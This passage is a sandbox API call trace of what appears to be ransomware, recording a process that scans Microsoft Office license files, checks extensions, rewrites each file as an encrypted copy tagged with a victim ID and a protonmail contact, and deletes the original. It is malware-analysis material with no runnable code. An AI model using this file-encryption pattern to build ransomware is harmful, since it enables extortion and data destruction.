	[0192.104] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.104] lstrlenW (lpString=".doc") returned 4
	[0192.104] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString=".docx") returned 5
	[0192.104] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.104] lstrlenW (lpString=".pdf") returned 4
	[0192.104] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString=".xls") returned 4
	[0192.104] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.104] lstrlenW (lpString=".xlsx") returned 5
	[0192.104] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.104] lstrlenW (lpString=".ppt") returned 4
	[0192.104] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.105] lstrlenW (lpString=".zip") returned 4
	[0192.105] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.105] lstrlenW (lpString=".rar") returned 4
	[0192.105] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.105] lstrlenW (lpString=".bz2") returned 4
	[0192.105] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.443] lstrlenW (lpString=".7z") returned 3
	[0192.443] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.443] lstrlenW (lpString=".dbf") returned 4
	[0192.443] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.443] lstrlenW (lpString=".1cd") returned 4
	[0192.443] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76
	[0192.444] lstrlenW (lpString=".jpg") returned 4
	[0192.444] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.444] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.444] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22
	[0192.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0193.115] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11139) returned 1
	[0193.116] CloseHandle (hObject=0x5c4) returned 1
	[0193.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220
	[0193.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.911] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.911] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0193.912] GetLastError () returned 0x0
	[0193.912] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2b83, lpOverlapped=0x0) returned 1
	[0193.914] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2b90, lpOverlapped=0x0) returned 1
	[0193.915] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.915] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x100, lpOverlapped=0x0) returned 1
	[0193.916] SetEndOfFile (hFile=0x590) returned 1
	[0193.916] CloseHandle (hObject=0x590) returned 1
	[0193.916] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.916] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.919] CloseHandle (hObject=0x5ac) returned 1
	[0193.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1
	[0193.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.921] lstrlenW (lpString=".doc") returned 4
	[0193.921] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.921] lstrlenW (lpString=".docx") returned 5
	[0193.921] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.921] lstrlenW (lpString=".pdf") returned 4
	[0193.921] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.921] lstrlenW (lpString=".xls") returned 4
	[0193.921] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.921] lstrlenW (lpString=".xlsx") returned 5
	[0193.921] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.921] lstrlenW (lpString=".ppt") returned 4
	[0193.921] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.921] lstrlenW (lpString=".zip") returned 4
	[0193.921] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.921] lstrlenW (lpString=".rar") returned 4
	[0193.921] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.921] lstrlenW (lpString=".bz2") returned 4
	[0193.921] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.921] lstrlenW (lpString=".7z") returned 3
	[0193.921] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.922] lstrlenW (lpString=".dbf") returned 4
	[0193.922] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.922] lstrlenW (lpString=".1cd") returned 4
	[0193.922] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.922] lstrlenW (lpString=".jpg") returned 4
	[0193.922] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.922] lstrlenW (lpString=".doc") returned 4
	[0193.922] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString=".docx") returned 5
	[0193.922] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.922] lstrlenW (lpString=".pdf") returned 4
	[0193.922] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString=".xls") returned 4
	[0193.922] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString=".xlsx") returned 5
	[0193.922] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.922] lstrlenW (lpString=".ppt") returned 4
	[0193.922] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.922] lstrlenW (lpString=".zip") returned 4
	[0193.922] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.922] lstrlenW (lpString=".rar") returned 4
	[0193.922] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.923] lstrlenW (lpString=".bz2") returned 4
	[0193.923] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.923] lstrlenW (lpString=".7z") returned 3
	[0193.923] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.923] lstrlenW (lpString=".dbf") returned 4
	[0193.923] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.923] lstrlenW (lpString=".1cd") returned 4
	[0193.923] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72
	[0193.923] lstrlenW (lpString=".jpg") returned 4
	[0193.923] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.923] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.923] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40
	[0193.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.927] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11637) returned 1
	[0193.927] CloseHandle (hObject=0x5ac) returned 1
	[0193.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0193.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.928] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.928] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0193.929] GetLastError () returned 0x0
	[0193.929] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d75, lpOverlapped=0x0) returned 1
	[0193.931] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0193.932] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.932] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x124, lpOverlapped=0x0) returned 1
	[0193.932] SetEndOfFile (hFile=0x590) returned 1
	[0193.932] CloseHandle (hObject=0x590) returned 1
	[0193.932] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.932] SetEndOfFile (hFile=0x5ac) returned 1
	[0193.936] CloseHandle (hObject=0x5ac) returned 1
	[0193.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0193.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.937] lstrlenW (lpString=".doc") returned 4
	[0193.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString=".docx") returned 5
	[0193.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.938] lstrlenW (lpString=".pdf") returned 4
	[0193.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString=".xls") returned 4
	[0193.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString=".xlsx") returned 5
	[0193.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.938] lstrlenW (lpString=".ppt") returned 4
	[0193.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.938] lstrlenW (lpString=".zip") returned 4
	[0193.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString=".rar") returned 4
	[0193.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString=".bz2") returned 4
	[0193.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString=".7z") returned 3
	[0193.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.938] lstrlenW (lpString=".dbf") returned 4
	[0193.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.938] lstrlenW (lpString=".1cd") returned 4
	[0193.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.938] lstrlenW (lpString=".jpg") returned 4
	[0193.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.939] lstrlenW (lpString=".doc") returned 4
	[0193.939] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString=".docx") returned 5
	[0193.939] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.939] lstrlenW (lpString=".pdf") returned 4
	[0193.939] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString=".xls") returned 4
	[0193.939] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString=".xlsx") returned 5
	[0193.939] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.939] lstrlenW (lpString=".ppt") returned 4
	[0193.939] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.939] lstrlenW (lpString=".zip") returned 4
	[0193.939] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString=".rar") returned 4
	[0193.939] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString=".bz2") returned 4
	[0193.939] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString=".7z") returned 3
	[0193.939] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.939] lstrlenW (lpString=".dbf") returned 4
	[0193.939] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.939] lstrlenW (lpString=".1cd") returned 4
	[0193.939] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90
	[0193.940] lstrlenW (lpString=".jpg") returned 4
	[0193.940] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.940] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.940] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40
	[0193.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.941] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=19982) returned 1
	[0193.941] CloseHandle (hObject=0x5ac) returned 1
	[0193.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0193.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0193.942] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.942] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0193.943] GetLastError () returned 0x0
	[0193.943] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x4e0e, lpOverlapped=0x0) returned 1
	[0193.945] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x4e10, lpOverlapped=0x0) returned 1
	[0193.947] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.947] WriteFile (in: hFile=0x590, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x124, lpOverlapped=0x0) returned 1
	[0193.947] SetEndOfFile (hFile=0x590) returned 1
	[0194.031] CloseHandle (hObject=0x590) returned 1
	[0194.031] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.036] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.040] CloseHandle (hObject=0x5ac) returned 1
	[0194.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 90
	[0194.042] lstrlenW (lpString=".doc") returned 4
	[0194.042] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.042] lstrlenW (lpString=".docx") returned 5
	[0194.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.042] lstrlenW (lpString=".pdf") returned 4
	[0194.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.042] lstrlenW (lpString=".xls") returned 4
	[0194.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.042] lstrlenW (lpString=".xlsx") returned 5
	[0194.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.042] lstrlenW (lpString=".ppt") returned 4
	[0194.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
